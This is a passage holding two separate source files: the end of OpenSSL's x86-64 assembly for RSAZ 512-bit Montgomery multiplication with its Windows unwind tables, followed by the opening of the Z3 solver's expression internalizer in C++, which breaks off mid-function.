adc r14,0
mul rbx
DB 102,72,15,126,227
add r15,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r14,r15
mov r15,rdx
adc r15,0
lea rbp,QWORD PTR[128+rbp]
lea rdi,QWORD PTR[8+rdi]
dec ecx
jnz $L$oop_mul_gather
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
DB 102,72,15,126,199
DB 102,72,15,126,205
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reduce
jmp $L$mul_gather_tail
ALIGN 32
$L$mulx_gather::
mov eax,DWORD PTR[64+r9*4+rdx]
DB 102,72,15,110,199
lea rbp,QWORD PTR[128+r9*4+rdx]
mov edx,DWORD PTR[r9*4+rdx]
DB 102,72,15,110,201
mov QWORD PTR[128+rsp],r8
shl rax,32
or rdx,rax
mulx r8,rbx,QWORD PTR[rsi]
mov QWORD PTR[rsp],rbx
xor edi,edi
mulx r9,rax,QWORD PTR[8+rsi]
movd xmm4,DWORD PTR[rbp]
mulx r10,rbx,QWORD PTR[16+rsi]
movd xmm5,DWORD PTR[64+rbp]
adcx r8,rax
mulx r11,rax,QWORD PTR[24+rsi]
pslldq xmm5,4
adcx r9,rbx
mulx r12,rbx,QWORD PTR[32+rsi]
por xmm4,xmm5
adcx r10,rax
mulx r13,rax,QWORD PTR[40+rsi]
adcx r11,rbx
mulx r14,rbx,QWORD PTR[48+rsi]
lea rbp,QWORD PTR[128+rbp]
adcx r12,rax
mulx r15,rax,QWORD PTR[56+rsi]
DB 102,72,15,126,226
adcx r13,rbx
adcx r14,rax
mov rbx,r8
adcx r15,rdi
mov rcx,-7
jmp $L$oop_mulx_gather
ALIGN 32
$L$oop_mulx_gather::
mulx r8,rax,QWORD PTR[rsi]
adcx rbx,rax
adox r8,r9
mulx r9,rax,QWORD PTR[8+rsi]
DB 066h,00fh,06eh,0a5h,000h,000h,000h,000h
adcx r8,rax
adox r9,r10
mulx r10,rax,QWORD PTR[16+rsi]
movd xmm5,DWORD PTR[64+rbp]
lea rbp,QWORD PTR[128+rbp]
adcx r9,rax
adox r10,r11
DB 0c4h,062h,0fbh,0f6h,09eh,018h,000h,000h,000h
pslldq xmm5,4
por xmm4,xmm5
adcx r10,rax
adox r11,r12
mulx r12,rax,QWORD PTR[32+rsi]
adcx r11,rax
adox r12,r13
mulx r13,rax,QWORD PTR[40+rsi]
adcx r12,rax
adox r13,r14
DB 0c4h,062h,0fbh,0f6h,0b6h,030h,000h,000h,000h
adcx r13,rax
adox r14,r15
mulx r15,rax,QWORD PTR[56+rsi]
DB 102,72,15,126,226
mov QWORD PTR[64+rcx*8+rsp],rbx
adcx r14,rax
adox r15,rdi
mov rbx,r8
adcx r15,rdi
inc rcx
jnz $L$oop_mulx_gather
mov QWORD PTR[64+rsp],r8
mov QWORD PTR[((64+8))+rsp],r9
mov QWORD PTR[((64+16))+rsp],r10
mov QWORD PTR[((64+24))+rsp],r11
mov QWORD PTR[((64+32))+rsp],r12
mov QWORD PTR[((64+40))+rsp],r13
mov QWORD PTR[((64+48))+rsp],r14
mov QWORD PTR[((64+56))+rsp],r15
DB 102,72,15,126,199
DB 102,72,15,126,205
mov rdx,QWORD PTR[128+rsp]
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reducex
$L$mul_gather_tail::
add r8,QWORD PTR[64+rsp]
adc r9,QWORD PTR[72+rsp]
adc r10,QWORD PTR[80+rsp]
adc r11,QWORD PTR[88+rsp]
adc r12,QWORD PTR[96+rsp]
adc r13,QWORD PTR[104+rsp]
adc r14,QWORD PTR[112+rsp]
adc r15,QWORD PTR[120+rsp]
sbb rcx,rcx
call __rsaz_512_subtract
lea rax,QWORD PTR[((128+24+48))+rsp]
mov r15,QWORD PTR[((-48))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov rbx,QWORD PTR[((-8))+rax]
lea rsp,QWORD PTR[rax]
$L$mul_gather4_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_512_mul_gather4::
rsaz_512_mul_gather4 ENDP
PUBLIC rsaz_512_mul_scatter4
ALIGN 32
rsaz_512_mul_scatter4 PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_512_mul_scatter4::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r9d,r9d
sub rsp,128+24
$L$mul_scatter4_body::
lea r8,QWORD PTR[r9*4+r8]
DB 102,72,15,110,199
DB 102,72,15,110,202
DB 102,73,15,110,208
mov QWORD PTR[128+rsp],rcx
mov rbp,rdi
mov r11d,080100h
and r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
cmp r11d,080100h
je $L$mulx_scatter
mov rbx,QWORD PTR[rdi]
call __rsaz_512_mul
DB 102,72,15,126,199
DB 102,72,15,126,205
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reduce
jmp $L$mul_scatter_tail
ALIGN 32
$L$mulx_scatter::
mov rdx,QWORD PTR[rdi]
call __rsaz_512_mulx
DB 102,72,15,126,199
DB 102,72,15,126,205
mov rdx,QWORD PTR[128+rsp]
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reducex
$L$mul_scatter_tail::
add r8,QWORD PTR[64+rsp]
adc r9,QWORD PTR[72+rsp]
adc r10,QWORD PTR[80+rsp]
adc r11,QWORD PTR[88+rsp]
adc r12,QWORD PTR[96+rsp]
adc r13,QWORD PTR[104+rsp]
adc r14,QWORD PTR[112+rsp]
adc r15,QWORD PTR[120+rsp]
DB 102,72,15,126,214
sbb rcx,rcx
call __rsaz_512_subtract
mov DWORD PTR[rsi],r8d
shr r8,32
mov DWORD PTR[128+rsi],r9d
shr r9,32
mov DWORD PTR[256+rsi],r10d
shr r10,32
mov DWORD PTR[384+rsi],r11d
shr r11,32
mov DWORD PTR[512+rsi],r12d
shr r12,32
mov DWORD PTR[640+rsi],r13d
shr r13,32
mov DWORD PTR[768+rsi],r14d
shr r14,32
mov DWORD PTR[896+rsi],r15d
shr r15,32
mov DWORD PTR[64+rsi],r8d
mov DWORD PTR[192+rsi],r9d
mov DWORD PTR[320+rsi],r10d
mov DWORD PTR[448+rsi],r11d
mov DWORD PTR[576+rsi],r12d
mov DWORD PTR[704+rsi],r13d
mov DWORD PTR[832+rsi],r14d
mov DWORD PTR[960+rsi],r15d
lea rax,QWORD PTR[((128+24+48))+rsp]
mov r15,QWORD PTR[((-48))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov rbx,QWORD PTR[((-8))+rax]
lea rsp,QWORD PTR[rax]
$L$mul_scatter4_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_512_mul_scatter4::
rsaz_512_mul_scatter4 ENDP
PUBLIC rsaz_512_mul_by_one
ALIGN 32
rsaz_512_mul_by_one PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_512_mul_by_one::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp,128+24
$L$mul_by_one_body::
mov eax,DWORD PTR[((OPENSSL_ia32cap_P+8))]
mov rbp,rdx
mov QWORD PTR[128+rsp],rcx
mov r8,QWORD PTR[rsi]
pxor xmm0,xmm0
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,QWORD PTR[48+rsi]
mov r15,QWORD PTR[56+rsi]
movdqa XMMWORD PTR[rsp],xmm0
movdqa XMMWORD PTR[16+rsp],xmm0
movdqa XMMWORD PTR[32+rsp],xmm0
movdqa XMMWORD PTR[48+rsp],xmm0
movdqa XMMWORD PTR[64+rsp],xmm0
movdqa XMMWORD PTR[80+rsp],xmm0
movdqa XMMWORD PTR[96+rsp],xmm0
and eax,080100h
cmp eax,080100h
je $L$by_one_callx
call __rsaz_512_reduce
jmp $L$by_one_tail
ALIGN 32
$L$by_one_callx::
mov rdx,QWORD PTR[128+rsp]
call __rsaz_512_reducex
$L$by_one_tail::
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
lea rax,QWORD PTR[((128+24+48))+rsp]
mov r15,QWORD PTR[((-48))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov rbx,QWORD PTR[((-8))+rax]
lea rsp,QWORD PTR[rax]
$L$mul_by_one_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_512_mul_by_one::
rsaz_512_mul_by_one ENDP
ALIGN 32
__rsaz_512_reduce PROC PRIVATE
mov rbx,r8
imul rbx,QWORD PTR[((128+8))+rsp]
mov rax,QWORD PTR[rbp]
mov ecx,8
jmp $L$reduction_loop
ALIGN 32
$L$reduction_loop::
mul rbx
mov rax,QWORD PTR[8+rbp]
neg r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD PTR[16+rbp]
adc rdx,0
add r8,r9
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD PTR[24+rbp]
adc rdx,0
add r9,r10
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD PTR[32+rbp]
adc rdx,0
add r10,r11
mov rsi,QWORD PTR[((128+8))+rsp]
adc rdx,0
mov r11,rdx
mul rbx
add r12,rax
mov rax,QWORD PTR[40+rbp]
adc rdx,0
imul rsi,r8
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD PTR[48+rbp]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD PTR[56+rbp]
adc rdx,0
add r13,r14
mov r14,rdx
adc r14,0
mul rbx
mov rbx,rsi
add r15,rax
mov rax,QWORD PTR[rbp]
adc rdx,0
add r14,r15
mov r15,rdx
adc r15,0
dec ecx
jne $L$reduction_loop
DB 0F3h,0C3h ;repret
__rsaz_512_reduce ENDP
ALIGN 32
__rsaz_512_reducex PROC PRIVATE
imul rdx,r8
xor rsi,rsi
mov ecx,8
jmp $L$reduction_loopx
ALIGN 32
$L$reduction_loopx::
mov rbx,r8
mulx r8,rax,QWORD PTR[rbp]
adcx rax,rbx
adox r8,r9
mulx r9,rax,QWORD PTR[8+rbp]
adcx r8,rax
adox r9,r10
mulx r10,rbx,QWORD PTR[16+rbp]
adcx r9,rbx
adox r10,r11
mulx r11,rbx,QWORD PTR[24+rbp]
adcx r10,rbx
adox r11,r12
DB 0c4h,062h,0e3h,0f6h,0a5h,020h,000h,000h,000h
mov rax,rdx
mov rdx,r8
adcx r11,rbx
adox r12,r13
mulx rdx,rbx,QWORD PTR[((128+8))+rsp]
mov rdx,rax
mulx r13,rax,QWORD PTR[40+rbp]
adcx r12,rax
adox r13,r14
DB 0c4h,062h,0fbh,0f6h,0b5h,030h,000h,000h,000h
adcx r13,rax
adox r14,r15
mulx r15,rax,QWORD PTR[56+rbp]
mov rdx,rbx
adcx r14,rax
adox r15,rsi
adcx r15,rsi
dec ecx
jne $L$reduction_loopx
DB 0F3h,0C3h ;repret
__rsaz_512_reducex ENDP
ALIGN 32
__rsaz_512_subtract PROC PRIVATE
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
mov r8,QWORD PTR[rbp]
mov r9,QWORD PTR[8+rbp]
neg r8
not r9
and r8,rcx
mov r10,QWORD PTR[16+rbp]
and r9,rcx
not r10
mov r11,QWORD PTR[24+rbp]
and r10,rcx
not r11
mov r12,QWORD PTR[32+rbp]
and r11,rcx
not r12
mov r13,QWORD PTR[40+rbp]
and r12,rcx
not r13
mov r14,QWORD PTR[48+rbp]
and r13,rcx
not r14
mov r15,QWORD PTR[56+rbp]
and r14,rcx
not r15
and r15,rcx
add r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
DB 0F3h,0C3h ;repret
__rsaz_512_subtract ENDP
ALIGN 32
__rsaz_512_mul PROC PRIVATE
lea rdi,QWORD PTR[8+rsp]
mov rax,QWORD PTR[rsi]
mul rbx
mov QWORD PTR[rdi],rax
mov rax,QWORD PTR[8+rsi]
mov r8,rdx
mul rbx
add r8,rax
mov rax,QWORD PTR[16+rsi]
mov r9,rdx
adc r9,0
mul rbx
add r9,rax
mov rax,QWORD PTR[24+rsi]
mov r10,rdx
adc r10,0
mul rbx
add r10,rax
mov rax,QWORD PTR[32+rsi]
mov r11,rdx
adc r11,0
mul rbx
add r11,rax
mov rax,QWORD PTR[40+rsi]
mov r12,rdx
adc r12,0
mul rbx
add r12,rax
mov rax,QWORD PTR[48+rsi]
mov r13,rdx
adc r13,0
mul rbx
add r13,rax
mov rax,QWORD PTR[56+rsi]
mov r14,rdx
adc r14,0
mul rbx
add r14,rax
mov rax,QWORD PTR[rsi]
mov r15,rdx
adc r15,0
lea rbp,QWORD PTR[8+rbp]
lea rdi,QWORD PTR[8+rdi]
mov ecx,7
jmp $L$oop_mul
ALIGN 32
$L$oop_mul::
mov rbx,QWORD PTR[rbp]
mul rbx
add r8,rax
mov rax,QWORD PTR[8+rsi]
mov QWORD PTR[rdi],r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD PTR[16+rsi]
adc rdx,0
add r8,r9
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD PTR[24+rsi]
adc rdx,0
add r9,r10
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD PTR[32+rsi]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
add r12,rax
mov rax,QWORD PTR[40+rsi]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD PTR[48+rsi]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
add r13,r14
mov r14,rdx
lea rbp,QWORD PTR[8+rbp]
adc r14,0
mul rbx
add r15,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r14,r15
mov r15,rdx
adc r15,0
lea rdi,QWORD PTR[8+rdi]
dec ecx
jnz $L$oop_mul
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
DB 0F3h,0C3h ;repret
__rsaz_512_mul ENDP
ALIGN 32
__rsaz_512_mulx PROC PRIVATE
mulx r8,rbx,QWORD PTR[rsi]
mov rcx,-6
mulx r9,rax,QWORD PTR[8+rsi]
mov QWORD PTR[8+rsp],rbx
mulx r10,rbx,QWORD PTR[16+rsi]
adc r8,rax
mulx r11,rax,QWORD PTR[24+rsi]
adc r9,rbx
mulx r12,rbx,QWORD PTR[32+rsi]
adc r10,rax
mulx r13,rax,QWORD PTR[40+rsi]
adc r11,rbx
mulx r14,rbx,QWORD PTR[48+rsi]
adc r12,rax
mulx r15,rax,QWORD PTR[56+rsi]
mov rdx,QWORD PTR[8+rbp]
adc r13,rbx
adc r14,rax
adc r15,0
xor rdi,rdi
jmp $L$oop_mulx
ALIGN 32
$L$oop_mulx::
mov rbx,r8
mulx r8,rax,QWORD PTR[rsi]
adcx rbx,rax
adox r8,r9
mulx r9,rax,QWORD PTR[8+rsi]
adcx r8,rax
adox r9,r10
mulx r10,rax,QWORD PTR[16+rsi]
adcx r9,rax
adox r10,r11
mulx r11,rax,QWORD PTR[24+rsi]
adcx r10,rax
adox r11,r12
DB 03eh,0c4h,062h,0fbh,0f6h,0a6h,020h,000h,000h,000h
adcx r11,rax
adox r12,r13
mulx r13,rax,QWORD PTR[40+rsi]
adcx r12,rax
adox r13,r14
mulx r14,rax,QWORD PTR[48+rsi]
adcx r13,rax
adox r14,r15
mulx r15,rax,QWORD PTR[56+rsi]
mov rdx,QWORD PTR[64+rcx*8+rbp]
mov QWORD PTR[((8+64-8))+rcx*8+rsp],rbx
adcx r14,rax
adox r15,rdi
adcx r15,rdi
inc rcx
jnz $L$oop_mulx
mov rbx,r8
mulx r8,rax,QWORD PTR[rsi]
adcx rbx,rax
adox r8,r9
DB 0c4h,062h,0fbh,0f6h,08eh,008h,000h,000h,000h
adcx r8,rax
adox r9,r10
DB 0c4h,062h,0fbh,0f6h,096h,010h,000h,000h,000h
adcx r9,rax
adox r10,r11
mulx r11,rax,QWORD PTR[24+rsi]
adcx r10,rax
adox r11,r12
mulx r12,rax,QWORD PTR[32+rsi]
adcx r11,rax
adox r12,r13
mulx r13,rax,QWORD PTR[40+rsi]
adcx r12,rax
adox r13,r14
DB 0c4h,062h,0fbh,0f6h,0b6h,030h,000h,000h,000h
adcx r13,rax
adox r14,r15
DB 0c4h,062h,0fbh,0f6h,0beh,038h,000h,000h,000h
adcx r14,rax
adox r15,rdi
adcx r15,rdi
mov QWORD PTR[((8+64-8))+rsp],rbx
mov QWORD PTR[((8+64))+rsp],r8
mov QWORD PTR[((8+64+8))+rsp],r9
mov QWORD PTR[((8+64+16))+rsp],r10
mov QWORD PTR[((8+64+24))+rsp],r11
mov QWORD PTR[((8+64+32))+rsp],r12
mov QWORD PTR[((8+64+40))+rsp],r13
mov QWORD PTR[((8+64+48))+rsp],r14
mov QWORD PTR[((8+64+56))+rsp],r15
DB 0F3h,0C3h ;repret
__rsaz_512_mulx ENDP
PUBLIC rsaz_512_scatter4
ALIGN 16
rsaz_512_scatter4 PROC PUBLIC
lea rcx,QWORD PTR[r8*4+rcx]
mov r9d,8
jmp $L$oop_scatter
ALIGN 16
$L$oop_scatter::
mov rax,QWORD PTR[rdx]
lea rdx,QWORD PTR[8+rdx]
mov DWORD PTR[rcx],eax
shr rax,32
mov DWORD PTR[64+rcx],eax
lea rcx,QWORD PTR[128+rcx]
dec r9d
jnz $L$oop_scatter
DB 0F3h,0C3h ;repret
rsaz_512_scatter4 ENDP
PUBLIC rsaz_512_gather4
ALIGN 16
rsaz_512_gather4 PROC PUBLIC
lea rdx,QWORD PTR[r8*4+rdx]
mov r9d,8
jmp $L$oop_gather
ALIGN 16
$L$oop_gather::
mov eax,DWORD PTR[rdx]
mov r8d,DWORD PTR[64+rdx]
lea rdx,QWORD PTR[128+rdx]
shl r8,32
or rax,r8
mov QWORD PTR[rcx],rax
lea rcx,QWORD PTR[8+rcx]
dec r9d
jnz $L$oop_gather
DB 0F3h,0C3h ;repret
rsaz_512_gather4 ENDP
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$common_seh_tail
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$common_seh_tail
lea rax,QWORD PTR[((128+24+48))+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$common_seh_tail::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
se_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_rsaz_512_sqr
DD imagerel $L$SEH_end_rsaz_512_sqr
DD imagerel $L$SEH_info_rsaz_512_sqr
DD imagerel $L$SEH_begin_rsaz_512_mul
DD imagerel $L$SEH_end_rsaz_512_mul
DD imagerel $L$SEH_info_rsaz_512_mul
DD imagerel $L$SEH_begin_rsaz_512_mul_gather4
DD imagerel $L$SEH_end_rsaz_512_mul_gather4
DD imagerel $L$SEH_info_rsaz_512_mul_gather4
DD imagerel $L$SEH_begin_rsaz_512_mul_scatter4
DD imagerel $L$SEH_end_rsaz_512_mul_scatter4
DD imagerel $L$SEH_info_rsaz_512_mul_scatter4
DD imagerel $L$SEH_begin_rsaz_512_mul_by_one
DD imagerel $L$SEH_end_rsaz_512_mul_by_one
DD imagerel $L$SEH_info_rsaz_512_mul_by_one
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_rsaz_512_sqr::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$sqr_body,imagerel $L$sqr_epilogue
$L$SEH_info_rsaz_512_mul::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$mul_body,imagerel $L$mul_epilogue
$L$SEH_info_rsaz_512_mul_gather4::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$mul_gather4_body,imagerel $L$mul_gather4_epilogue
$L$SEH_info_rsaz_512_mul_scatter4::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$mul_scatter4_body,imagerel $L$mul_scatter4_epilogue
$L$SEH_info_rsaz_512_mul_by_one::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$mul_by_one_body,imagerel $L$mul_by_one_epilogue
.xdata ENDS
END
|
/*++
Copyright (c) 2006 Microsoft Corporation
Module Name:
smt_internalizer.cpp
Abstract:
<abstract>
Author:
Leonardo de Moura (leonardo) 2008-02-20.
Revision History:
--*/
#include "smt/smt_context.h"
#include "ast/expr_stat.h"
#include "ast/ast_pp.h"
#include "ast/ast_ll_pp.h"
#include "ast/ast_smt2_pp.h"
#include "smt/smt_model_finder.h"
#include "ast/for_each_expr.h"
namespace smt {
/**
\brief Return true if the expression is viewed as a logical gate.
*/
inline bool is_gate(ast_manager const & m, expr * n) {
if (is_app(n) && to_app(n)->get_family_id() == m.get_basic_family_id()) {
switch (to_app(n)->get_decl_kind()) {
case OP_AND:
case OP_OR:
case OP_IFF:
case OP_ITE:
return true;
default:
return false;
}
}
return false;
}
#define White 0
#define Grey 1
#define Black 2
static int get_color(svector<int> & tcolors, svector<int> & fcolors, expr * n, bool gate_ctx) {
svector<int> & colors = gate_ctx ? tcolors : fcolors;
if (colors.size() > n->get_id())
return colors[n->get_id()];
return White;
}
static void set_color(svector<int> & tcolors, svector<int> & fcolors, expr * n, bool gate_ctx, int color) {
svector<int> & colors = gate_ctx ? tcolors : fcolors;
if (colors.size() <= n->get_id()) {
colors.resize(n->get_id()+1, White);
}
colors[n->get_id()] = color;
}
/**
\brief Return the foreign descendants of n. That is, the descendants of n where the family_id is different from fid.
For example the descendants of (+ a (+ (f b) (* 2 (h (+ c d))))) are:
- a
- (f b)
- (h (+ c d))
*/
static void get_foreign_descendants(app * n, family_id fid, ptr_buffer<expr> & descendants) {
SASSERT(n->get_family_id() == fid);
SASSERT(fid != null_family_id);
ptr_buffer<expr> todo;
todo.push_back(n);
ast_mark visited;
while (!todo.empty()) {
expr * curr = todo.back();
todo.pop_back();
if (visited.is_marked(n)) {
continue;
}
visited.mark(n, true);
if (!is_app(curr) || to_app(curr)->get_family_id() != fid) {
descendants.push_back(curr);
continue;
}
SASSERT(is_app(curr));
SASSERT(to_app(curr)->get_family_id() == fid);
unsigned j = to_app(curr)->get_num_args();
while (j > 0) {
--j;
todo.push_back(to_app(curr)->get_arg(j));
}
}
}
void context::ts_visit_child(expr * n, bool gate_ctx, svector<int> & tcolors, svector< int> & fcolors, svector<expr_bool_pair> & todo, bool & visited) {
if (get_color(tcolors, fcolors, n, gate_ctx) == White) {
todo.push_back(expr_bool_pair(n, gate_ctx));
visited = false;
}
}
bool context::ts_visit_children(expr * n, bool gate_ctx, svector<int> & tcolors, svector<int> & fcolors, svector<expr_bool_pair> & todo) {
if (is_quantifier(n))
return true;
SASSERT(is_app(n));
if (m_manager.is_bool(n)) {
if (b_internalized(n))
return true;
}
else {
if (e_internalized(n))
return true;
}
bool visited = true;
family_id fid = to_app(n)->get_family_id();
theory * th = m_theories.get_plugin(fid);
bool def_int = th == 0 || th->default_internalizer();
if (!def_int) {
ptr_buffer<expr> descendants;
get_foreign_descendants(to_app(n), fid, descendants);
ptr_buffer<expr>::iterator it = descendants.begin();
ptr_buffer<expr>::iterator end = descendants.end();
for (; it != end; ++it) {
expr * arg = *it;
ts_visit_child(arg, false, tcolors, fcolors, todo, visited);
}
return visited;
}
SASSERT(def_int);
if (m_manager.is_term_ite(n)) {
ts_visit_child(to_app(n)->get_arg(0), true, tcolors, fcolors, todo, visited);
ts_visit_child(to_app(n)->get_arg(1), false, tcolors, fcolors, todo, visited);
ts_visit_child(to_app(n)->get_arg(2), false, tcolors, fcolors, todo, visited);
return visited;
}
bool new_gate_ctx = m_manager.is_bool(n) && (is_gate(m_manager, n) || m_manager.is_not(n));
unsigned j = to_app(n)->get_num_args();
while (j > 0) {
--j;
expr * arg = to_app(n)->get_arg(j);
ts_visit_child(arg, new_gate_ctx, tcolors, fcolors, todo, visited);
}
return visited;
}
void context::top_sort_expr(expr * n, svector<expr_bool_pair> & sorted_exprs) {
svector<expr_bool_pair> todo;
svector<int> tcolors;
svector<int> fcolors;
todo.push_back(expr_bool_pair(n, true));
while (!todo.empty()) {
expr_bool_pair & p = todo.back();
